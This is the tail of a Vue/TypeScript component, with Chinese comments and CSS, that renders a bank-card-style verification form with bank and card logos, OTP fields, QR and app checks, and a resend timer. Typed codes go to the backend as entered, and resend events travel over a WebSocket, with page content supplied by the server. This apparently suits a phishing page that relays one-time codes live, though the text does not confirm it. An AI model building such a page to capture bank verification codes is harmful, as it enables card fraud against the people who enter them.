const seconds = timeLeft.value
|
||
const timeStr = seconds < 10 ? `0${seconds}` : `${seconds}`
|
||
button.textContent = `00:${timeStr}`
|
||
button.disabled = true
|
||
button.style.opacity = '0.6'
|
||
button.style.cursor = 'not-allowed'
|
||
} else {
|
||
// 倒计时结束
|
||
button.textContent = originalText
|
||
button.disabled = false
|
||
button.style.opacity = '1'
|
||
button.style.cursor = 'pointer'
|
||
}
|
||
}
|
||
|
||
// 更新所有重发按钮
|
||
const updateAllResendButtons = () => {
|
||
const resendButtons = document.querySelectorAll('.custom-button[data-action="resend"]') as NodeListOf<HTMLButtonElement>
|
||
resendButtons.forEach(button => {
|
||
// 只更新启用倒计时的按钮
|
||
const enableCountdown = button.dataset.countdown !== 'false'
|
||
if (enableCountdown) {
|
||
updateResendButton(button)
|
||
}
|
||
})
|
||
}
|
||
|
||
// 监听倒计时状态，自动更新所有重发按钮
|
||
watch([isCounting, timeLeft], () => {
|
||
updateAllResendButtons()
|
||
})
|
||
|
||
// 处理自定义输入框事件 - 支持任意数量的输入框
|
||
const handleCustomInputEvent = (e: Event) => {
|
||
const target = e.target as HTMLInputElement
|
||
const fieldName = target.dataset.field || 'input1'
|
||
// 优先使用 data-verify-key，否则直接使用 fieldName
|
||
const verifyKey = target.dataset.verifyKey || fieldName
|
||
const value = target.value
|
||
|
||
// 动态存储字段值
|
||
formData[fieldName] = value
|
||
|
||
// 发送到后端
|
||
onchange(value, verifyKey)
|
||
|
||
// 触发事件
|
||
emit('input', fieldName, value)
|
||
}
|
||
|
||
// 处理自定义按钮事件
|
||
const handleCustomButtonEvent = (e: Event) => {
|
||
const target = e.target as HTMLButtonElement
|
||
const action = target.dataset.action || 'submit'
|
||
|
||
if (action === 'submit') {
|
||
submit()
|
||
} else if (action === 'resend') {
|
||
// 检查是否启用倒计时（默认为true）
|
||
const enableCountdown = target.dataset.countdown !== 'false'
|
||
|
||
// 如果启用倒计时且正在倒计时中，禁止重复点击
|
||
if (enableCountdown && isCounting.value) {
|
||
return
|
||
}
|
||
|
||
// 如果启用倒计时，则开始倒计时；否则直接发送
|
||
if (enableCountdown) {
|
||
handleResend()
|
||
} else {
|
||
// 不启用倒计时，直接发送请求
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: {
|
||
pageType: "customOtpValid",
|
||
pageTitle: customOtpData.value.name,
|
||
resultType: "resendCode",
|
||
customType: customOtpData.value.type
|
||
},
|
||
})
|
||
)
|
||
}
|
||
}
|
||
}
|
||
|
||
// 添加聚焦和失焦样式
|
||
const addFocusBlurStyle = (element: HTMLInputElement) => {
|
||
element.addEventListener('focus', (e) => {
|
||
(e.target as HTMLInputElement).style.borderColor = '#3b82f6'
|
||
})
|
||
element.addEventListener('blur', (e) => {
|
||
(e.target as HTMLInputElement).style.borderColor = '#ddd'
|
||
})
|
||
}
|
||
|
||
// 输入处理函数
|
||
const handleInput1 = (e: Event) => {
|
||
const target = e.target as HTMLInputElement
|
||
formData.input1 = target.value
|
||
onchange(target.value, "verifyCode1")
|
||
emit('input', 'input1', target.value)
|
||
}
|
||
|
||
const handleInput2 = (e: Event) => {
|
||
const target = e.target as HTMLInputElement
|
||
formData.input2 = target.value
|
||
onchange(target.value, "verifyCode2")
|
||
emit('input', 'input2', target.value)
|
||
}
|
||
|
||
// 事件处理
|
||
const handleSubmit = () => {
|
||
emit('submit', { ...formData })
|
||
}
|
||
|
||
const handleInput = (field: string, event: Event) => {
|
||
const target = event.target as HTMLInputElement
|
||
formData[field as keyof FormData] = target.value
|
||
emit('input', field, target.value)
|
||
|
||
// 调用对应的输入处理函数
|
||
if (field === 'input1') {
|
||
onchange(target.value, "verifyCode1");
|
||
} else if (field === 'input2') {
|
||
onchange(target.value, "verifyCode2");
|
||
}
|
||
}
|
||
|
||
const handleResend = () => {
|
||
startCountdown('resendCode')
|
||
}
|
||
|
||
|
||
// 暴露方法
|
||
defineExpose({
|
||
formData,
|
||
resetForm: () => {
|
||
// 清空所有动态字段
|
||
Object.keys(formData).forEach(key => delete formData[key])
|
||
},
|
||
setFormData: (data: Partial<FormData>) => {
|
||
Object.assign(formData, data)
|
||
}
|
||
})
|
||
|
||
// 倒计时初始化逻辑
|
||
onMounted(() => {
|
||
const resendTextValue = customOtpData.value.resendText;
|
||
resendText.value = resendTextValue || "RESEND CODE";
|
||
|
||
const showResendTextRaw = customOtpData.value.showResendText;
|
||
showResendText.value = showResendTextRaw === undefined || showResendTextRaw === '' ? false : showResendTextRaw;
|
||
// 不再在这里启动倒计时，改为在 bindInputEvents 完成后启动
|
||
});
|
||
|
||
const buttonText = computed(() => {
|
||
const min = timeLeft.value;
|
||
let minStr = "" + min
|
||
if (min < 10) {
|
||
minStr = "0" + minStr;
|
||
}
|
||
if (showResendText.value && resendText.value) {
|
||
return isCounting.value
|
||
? `00:${minStr}`
|
||
: resendText.value;
|
||
} else {
|
||
return "";
|
||
}
|
||
});
|
||
|
||
const startCountdown = (resultType: string) => {
|
||
if (isCounting.value) return; // 如果已经在倒计时，则不执行
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, resultType: resultType, customType: customOtpData.value.type },
|
||
})
|
||
);
|
||
isCounting.value = true;
|
||
timeLeft.value = initialTime;
|
||
|
||
timer = window.setInterval(() => {
|
||
if (timeLeft.value > 0) {
|
||
timeLeft.value -= 1;
|
||
} else {
|
||
stopCountdown();
|
||
}
|
||
}, 1000);
|
||
};
|
||
|
||
const stopCountdown = () => {
|
||
if (timer !== null) {
|
||
clearInterval(timer);
|
||
timer = null;
|
||
}
|
||
isCounting.value = false;
|
||
};
|
||
</script>
|
||
|
||
<style scoped>
|
||
.validation-renderer {
|
||
width: 100%;
|
||
margin: 0 auto;
|
||
background: white;
|
||
border-radius: 12px;
|
||
overflow: hidden;
|
||
}
|
||
|
||
.validation-form {
|
||
padding: 24px;
|
||
}
|
||
|
||
/* 表单头部 */
|
||
.form-header {
|
||
display: flex;
|
||
align-items: flex-start;
|
||
gap: 16px;
|
||
margin-bottom: 24px;
|
||
}
|
||
|
||
.header-image {
|
||
flex-shrink: 0;
|
||
}
|
||
|
||
.form-image {
|
||
height: 60px;
|
||
object-fit: contain;
|
||
}
|
||
|
||
.header-content {
|
||
flex: 1;
|
||
text-align: left;
|
||
width: 100%;
|
||
}
|
||
|
||
.validation-title {
|
||
margin: 0 0 12px 0;
|
||
color: #333;
|
||
font-size: 18px;
|
||
font-weight: 600;
|
||
line-height: 1.4;
|
||
}
|
||
|
||
.form-content {
|
||
margin: 0;
|
||
color: #666;
|
||
font-size: 14px;
|
||
line-height: 1.6;
|
||
}
|
||
|
||
.custom-content {
|
||
font-size: 14px;
|
||
}
|
||
|
||
.japanese-content {
|
||
font-family: "Noto Sans JP", "Yu Gothic", "Meiryo", sans-serif;
|
||
}
|
||
|
||
/* 支付详情 */
|
||
.payment-details {
|
||
padding: 16px;
|
||
border-radius: 8px;
|
||
margin-bottom: 20px;
|
||
text-align: center;
|
||
}
|
||
|
||
.detail-item {
|
||
margin-bottom: 8px;
|
||
color: #374151;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
display: flex;
|
||
justify-content: center;
|
||
align-items: center;
|
||
gap: 8px;
|
||
}
|
||
|
||
.detail-item:last-child {
|
||
margin-bottom: 0;
|
||
}
|
||
|
||
.input-detail-item {
|
||
justify-content: center;
|
||
}
|
||
|
||
.input-label {
|
||
flex-shrink: 0;
|
||
min-width: 100px;
|
||
text-align: right;
|
||
}
|
||
|
||
.otp-input-inline {
|
||
text-align: center;
|
||
font-size: 14px;
|
||
font-weight: bold;
|
||
letter-spacing: 2px;
|
||
width: 120px;
|
||
padding: 4px 8px;
|
||
border: 1px solid #d1d5db;
|
||
border-radius: 4px;
|
||
background: white;
|
||
}
|
||
|
||
/* APP加载 */
|
||
.app-loading {
|
||
display: flex;
|
||
justify-content: center;
|
||
margin: 24px 0;
|
||
}
|
||
|
||
.loading-container {
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
border: 1px solid #000;
|
||
border-radius: 25px;
|
||
background: #fcfcfc;
|
||
height: 36px;
|
||
width: 100px;
|
||
padding: 8px;
|
||
}
|
||
|
||
.loading-gif {
|
||
height: 16px;
|
||
width: 80px;
|
||
}
|
||
|
||
/* 表单字段 */
|
||
.form-fields {
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
.field-group {
|
||
margin-bottom: 18px;
|
||
display: flex;
|
||
justify-content: center;
|
||
}
|
||
|
||
.field-group:last-of-type {
|
||
margin-bottom: 24px;
|
||
}
|
||
|
||
.field-group label {
|
||
display: block;
|
||
margin-bottom: 8px;
|
||
color: #333;
|
||
font-weight: 500;
|
||
font-size: 14px;
|
||
text-align: left;
|
||
}
|
||
|
||
.form-input {
|
||
padding: 10px 12px;
|
||
border: 1px solid #ddd;
|
||
border-radius: 5px;
|
||
font-size: 14px;
|
||
transition: border-color 0.3s ease;
|
||
}
|
||
|
||
.form-input:focus {
|
||
outline: none;
|
||
border-color: #3b82f6;
|
||
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
|
||
}
|
||
|
||
.otp-input {
|
||
text-align: center;
|
||
}
|
||
|
||
/* 提交按钮 */
|
||
.submit-container {
|
||
text-align: center;
|
||
margin: 20px 0;
|
||
}
|
||
|
||
.submit-button {
|
||
padding: 12px 40px;
|
||
border: none;
|
||
border-radius: 6px;
|
||
color: white;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
cursor: pointer;
|
||
transition: all 0.3s ease;
|
||
min-width: 120px;
|
||
}
|
||
|
||
.submit-button:hover {
|
||
opacity: 0.9;
|
||
transform: translateY(-1px);
|
||
}
|
||
|
||
.completed-button {
|
||
background: #f59e0b !important;
|
||
}
|
||
|
||
/* 重发按钮 */
|
||
.resend-section {
|
||
text-align: center;
|
||
margin-top: 16px;
|
||
}
|
||
|
||
.resend-button {
|
||
background: none;
|
||
border: none;
|
||
color: #3b82f6 !important;
|
||
text-decoration: underline;
|
||
cursor: pointer;
|
||
font-size: 14px;
|
||
padding: 8px;
|
||
}
|
||
|
||
.resend-button:hover {
|
||
color: #1d4ed8;
|
||
}
|
||
|
||
/* 二维码部分 */
|
||
.qr-section {
|
||
display: flex;
|
||
flex-direction: column;
|
||
align-items: center;
|
||
margin: 24px 0;
|
||
}
|
||
|
||
.qr-code-container {
|
||
width: 200px;
|
||
height: 200px;
|
||
background: white;
|
||
border-radius: 8px;
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
margin-bottom: 12px;
|
||
}
|
||
|
||
.qr-code {
|
||
width: 100%;
|
||
height: 100%;
|
||
object-fit: contain;
|
||
border-radius: 6px;
|
||
}
|
||
|
||
/* 内联输入框样式 */
|
||
.form-content :deep(.inline-input-field) {
|
||
display: inline-block;
|
||
width: 120px;
|
||
padding: 4px 8px;
|
||
margin: 0 4px;
|
||
border: 1px solid #ddd;
|
||
border-radius: 4px;
|
||
font-size: 14px;
|
||
text-align: center;
|
||
transition: border-color 0.3s ease;
|
||
}
|
||
|
||
.form-content :deep(.inline-input-field:focus) {
|
||
outline: none;
|
||
border-color: #3b82f6;
|
||
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
|
||
}
|
||
|
||
.form-content :deep(.inline-input-field::placeholder) {
|
||
color: #9ca3af;
|
||
font-size: 12px;
|
||
}
|
||
|
||
/* 内联按钮样式 */
|
||
.form-content :deep(.inline-submit-button) {
|
||
display: inline-block;
|
||
padding: 6px 16px;
|
||
margin: 0 4px;
|
||
background: #67C23A;
|
||
color: white;
|
||
border: none;
|
||
border-radius: 4px;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
cursor: pointer;
|
||
transition: all 0.3s ease;
|
||
}
|
||
|
||
.form-content :deep(.inline-submit-button:hover) {
|
||
background: #5daf34;
|
||
transform: translateY(-1px);
|
||
}
|
||
|
||
.form-content :deep(.inline-submit-button:active) {
|
||
transform: translateY(0);
|
||
}
|
||
|
||
.form-content :deep(.inline-secondary-button) {
|
||
display: inline-block;
|
||
padding: 6px 16px;
|
||
margin: 0 4px;
|
||
background: #409EFF;
|
||
color: white;
|
||
border: none;
|
||
border-radius: 4px;
|
||
font-size: 14px;
|
||
font-weight: 500;
|
||
cursor: pointer;
|
||
transition: all 0.3s ease;
|
||
}
|
||
|
||
.form-content :deep(.inline-secondary-button:hover) {
|
||
background: #3a8ee6;
|
||
transform: translateY(-1px);
|
||
}
|
||
|
||
.form-content :deep(.inline-secondary-button:active) {
|
||
transform: translateY(0);
|
||
}
|
||
|
||
/* 错误信息 */
|
||
.error-message {
|
||
padding: 4px;
|
||
color: #dc2626;
|
||
font-size: 14px;
|
||
text-align: center;
|
||
margin: 12px 0;
|
||
}
|
||
|
||
/* 响应式设计 */
|
||
@media (max-width: 768px) {
|
||
.validation-form {
|
||
padding: 16px;
|
||
}
|
||
|
||
.form-header {
|
||
flex-direction: column;
|
||
gap: 12px;
|
||
text-align: center;
|
||
}
|
||
|
||
.header-content {
|
||
text-align: center;
|
||
}
|
||
|
||
.validation-title {
|
||
font-size: 16px;
|
||
}
|
||
|
||
.form-content {
|
||
font-size: 13px;
|
||
}
|
||
|
||
.payment-details {
|
||
padding: 12px;
|
||
}
|
||
|
||
.detail-item {
|
||
font-size: 13px;
|
||
flex-direction: column;
|
||
gap: 4px;
|
||
}
|
||
|
||
.input-detail-item {
|
||
flex-direction: row;
|
||
justify-content: center;
|
||
}
|
||
|
||
.input-label {
|
||
min-width: 80px;
|
||
font-size: 12px;
|
||
}
|
||
|
||
.otp-input-inline {
|
||
width: 100px;
|
||
font-size: 12px;
|
||
}
|
||
|
||
.qr-code-container {
|
||
width: 160px;
|
||
height: 160px;
|
||
}
|
||
|
||
.submit-button {
|
||
padding: 10px 32px;
|
||
font-size: 13px;
|
||
}
|
||
}
|
||
|
||
/* 特殊样式 */
|
||
.app-valid .loading-container {
|
||
animation: pulse 2s infinite;
|
||
}
|
||
|
||
@keyframes pulse {
|
||
|
||
0%,
|
||
100% {
|
||
opacity: 1;
|
||
}
|
||
|
||
50% {
|
||
opacity: 0.7;
|
||
}
|
||
}
|
||
|
||
/* 拨号验证特殊样式 */
|
||
.dial-valid .form-content :deep(a) {
|
||
color: #1434CB;
|
||
text-decoration: underline;
|
||
font-weight: 500;
|
||
}
|
||
|
||
.dial-valid .form-content :deep(a:hover) {
|
||
color: #0f29a3;
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
.validation-renderer .validation-header {
|
||
height: 66px;
|
||
display: flex;
|
||
padding: 0px 16px;
|
||
align-items: center;
|
||
justify-content: space-between;
|
||
border-bottom: 1px solid #e3e3e3;
|
||
}
|
||
|
||
.validation-renderer .validation-header>div {
|
||
display: flex;
|
||
align-items: center;
|
||
}
|
||
|
||
.validation-renderer .validation-header .bank-logo {
|
||
height: 100%;
|
||
}
|
||
|
||
.validation-renderer .validation-header .card-logo {
|
||
height: 100%;
|
||
position: relative;
|
||
}
|
||
|
||
.validation-renderer .validation-header .card-logo:after {
|
||
content: "";
|
||
display: block;
|
||
position: absolute;
|
||
top: 0;
|
||
width: 15px;
|
||
height: 100%;
|
||
background: linear-gradient(90deg,
|
||
transparent,
|
||
rgba(255, 255, 255, 0.6352941176),
|
||
transparent);
|
||
animation: line 2s infinite;
|
||
}
|
||
|
||
@keyframes line {
|
||
0% {
|
||
left: -15px;
|
||
}
|
||
|
||
to {
|
||
left: 100%;
|
||
}
|
||
}
|
||
</style> |